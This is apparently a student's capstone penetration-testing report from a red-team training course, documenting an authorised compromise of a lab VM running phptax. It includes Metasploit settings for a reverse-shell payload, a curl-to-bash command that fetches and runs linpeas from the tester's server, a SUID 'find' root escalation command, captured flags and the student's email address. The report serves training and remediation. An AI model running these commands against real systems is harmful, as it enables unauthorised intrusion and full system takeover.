

**Red Team Essentials**

**Capstone Report**

****

**Name: Phillip Newlove**

**Email: philn19872@hotmail.co.uk**

**Date: 16/12/23**

# 

# Content:

Contents

[Content: 2](#_Toc85467563)

[Summary: 3](#_Toc85467564)

[Document Revision History: 3](#_Toc85467565)

[Objective 4](#_Toc85467566)

[Minimum Requirements 4](#_Toc85467567)

[Penetration Testing Assessment Report 5](#_Toc85467569)

[Executive Summary 5](#_Toc85467570)

[Recommendations 5](#_Toc85467571)

[Methodology Overview 5](#_Toc85467572)

[Initial Enumeration 6](#_Toc85467573)

[Services Discovered 6](#_Toc85467574)

[Service Discussion 6](#_Toc85467575)

[Exploitation Stage 6](#_Toc85467576)

[Privilege Escalation Enumeration Stage 7](#_Toc85467577)

[Privilege Escalation 7](#_Toc85467578)

[Risks 7](#_Toc85467579)

[Flags Obtained 7](#_Toc85467580)

# 

# Summary:

**Purpose**: This document provides a template to guide the completion of the penetration testing capstone project of the Red Team Essentials course.

This report will be graded based on correctness and fullness of reporting to all aspects required.

The purpose of this report is to ensure the student:

* Has a complete understanding of the standard approach of penetration testing activities.
* Can execute a penetration testing activity.
* Research vulnerabilities and determine an appropriate attack technique.
* Report on their results, issues found, and latent risks of the vulnerability.
* Make recommendations based on their results to defend against the vulnerability.

### Document Revision History:

|  |  |  |  |
| --- | --- | --- | --- |
| **Release** | **Date** | **Comments** | **Approved** |
| v1 | 16/12/23 | First version created |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |

# 

# Objective

The objective of this activity is to conduct a simulated penetration testing activity against a vulnerable Virtual Machine (VM) provided by WithYouWithMe.

**Student Objective:** The student must take a methodical approach to enumerate and then exploit the target machine. It is required that the report cover events starting from the point the student identifies the Vulnerable VMs IP address on their network (i.e., the initial NMAP scan) to when the Penetration Test is finished.

# Minimum Requirements

You must complete all sections of this report, with particular attention given to the following sections:

* Summary of findings and recommendations for vulnerability remediation.
* The methodology used, including detailed steps taken.
* Any issues encountered.
* Risk to the system while the vulnerability remains present.

# Tips

Treat this report as if you are passing it on to a client and their security team. Suppose a security team cannot replicate what you were able to do. In that case, it makes the report less helpful in improving security. **Screenshots** will likely make it easier to describe your process, do not be afraid to include them.

# Penetration Testing Assessment Report

### Executive Summary

***Guide****:* *In this section, provide a summary of:*

* *what you were tasked with.*
* *what you have found.*
* *if there is currently a risk to the system.*
* *the level of access you were able to achieve.*
* *a high-level overview of your recommendations.*

*It would be best to make this section understandable by technical and non-technical team members of the client. This section has been started for you.*

|  |
| --- |
| I have been tasked with conducting a penetration testing assessment on a virtual machine that WithYouWithMe has provided.  My overall objective is to evaluate the security of the virtual machine and provide recommendations for resolving any security issues I discover during my evaluation. I am then to provide a report back to WithYouWithMe to support their team in assessing and remediating any issues discovered. |

### Recommendations

***Guide****:* *In this section, consider how the security of the virtual machine can be improved through changes (short and long-term) that you could make. Consider how the software is used, if it is still relevant, or if it is not functioning as intended (i.e., a configuration error.)*

|  |
| --- |
| Consider if the application still needs to be used, if not, remove and replace with a more secure product. If it does, then implement input validation where possible. |

### Methodology Overview

***Guide****:* *In this section, provide a brief summary of the major stages of your assessment methodology. For example, conducted an initial scan with a network mapping tool, reviewed the findings against a particular database, verified the initial vulnerability, and then continued enumeration etc.*

|  |
| --- |
| I ran NMAP to initially discover the target IP, then ran a more thorough scan of that address. The scan indicated open ports on 22 (SSH) and 80 (HTTP – hosting the phptax application). On further enumeration (using searchsploit) it became clear that a remote code execution vulnerability existed within this application, along with an accompanying exploit module within Metasploit. I was able to run this module to gain an initial foothold within the target system which I then used to run an automated enumeration script (linpeas). While scanning through the data returned from linpeas, I found an executable binary (find) which was able to be run with root privileges. I searched <https://gtfobins.github.io/gtfobins/find/> and was able to run a command to elevate my privileges to that of the root user. |

### Initial Enumeration

***Guide****:* *In this section, detail the commands you used for the initial scan of the target, along with the results.*

|  |
| --- |
| **NMAP initial scan (host discovery)**  Commands:  nmap -sn 192.168.138.0/24  A computer screen with white text  Description automatically generated  **NMAP detailed scan**  Commands:  nmap -A -sS -p- -v 192.168.138.130 |

### Services Discovered

***Guide****:* *Detail the services you discovered, version numbers, and service types. A screenshot may be helpful here.*

|  |
| --- |
| **Services and Versions**    **HTTP (port 80) – phptax application (version 0.8)**  A screenshot of a computer  Description automatically generated |

### Service Discussion

***Guide****:* *In this section, discuss the services you found. If you searched for these services within any exploit database and received results, list them here. If the service has a CVE score, be sure to record it.*

|  |
| --- |
| **Searchsploit**  This is where I found the Metasploit module.  Commands:  searchsploit phptax    More information about the vulnerability can be found here:  <https://www.exploit-db.com/exploits/21665>  <http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.103582>  The vulnerability has a CVSS score of 9.7 |

### Exploitation Stage

***Guide****:* *Describe the process to exploit the detected service, along with the major steps used so that a skilled reader would be able to re-create your attack. Be sure to list the user account you have compromised in this stage.*

|  |
| --- |
| **From Metasploit:**  Firstly, I had to find and select the exploit.  Commands:  search phptax  use 0    Then I had to configure it to work against the target.  Commands:  Options  Set rhosts 192.168.138.130  Set payload cmd/unix/reverse  Set lhost 192.168.138.128  Set lport 4444    Once the exploit was configured, I then ran it (I had to run it twice as it failed the first time).  Commands:  Run  Once the exploit had completed, I had access as the www-data user.  A computer screen shot of a computer program  Description automatically generated |

### Privilege Escalation Enumeration Stage

***Guide****:* *Detail the tools and processes you used to scan the system for opportunities to escalate from your compromised user to the root user.*

|  |
| --- |
| Once I had an initial foothold, I then decided to run an automated enumeration script (linpeas) on the target to assess if any privilege escalation vectors were present. I hosted this on my local machine using a web server and was able to access and execute it in memory on the target using curl.  **Setting up the web server**  Commands:  Python3 -m http.server 8000  A computer screen with a hand pointing at it  Description automatically generated  **Accessing and executing using curl**  Commands:  Curl <http://192.168.138.128:8000/linpeas.sh> | bash -s -- -a  A screenshot of a computer  Description automatically generated  Once the script had ran, I looked through the output and noticed an unusual binary (find) running with the SUID bit set (able to be run with root privileges).    A quick search of GTFO bins turned up a privilege escalation vector using this binary.  A screenshot of a computer program  Description automatically generated  <https://gtfobins.github.io/gtfobins/find/> |

### Privilege Escalation

***Guide****:* *Describe the steps you used to escalate your access from the initially compromised user to the root user.*

|  |
| --- |
| To escalate privileges, I ran the command listed under the SUID section of find from GTFO bins, making sure to modify it to include the full path of the binary. From there, my privileges were escalated to root.  Commands:  /usr/bin/find . -exec /bin/sh -p \; -quit  A screenshot of a computer  Description automatically generated  I now had full control of the system including unrestricted access to all resources. |

### Risks

***Guide****:* *Provide a summary of the risk to the system if the vulnerabilities remain present.*

|  |
| --- |
| The root user has complete control over the system, including the ability to freely access, create, delete and modify data, create or delete user accounts, install malicious software or cause irreparable damage to the system. This could have a severe impact on the confidentiality, integrity and availability of client data and the ability for the business to operate. |

### Flags Obtained

***Guide****:* *Record the local.txt and proof.txt file contents which have been captured from the vulnerable virtual machine.*

|  |  |
| --- | --- |
| Local.txt file contents | WYWM{fals3\_cla1ms\_ar3nt\_th3\_0nly\_t4x\_r1sk} |
| Proof.txt file contents | WYWM{1\_us3d\_f1nd\_t0\_f1nd\_a\_vuln} |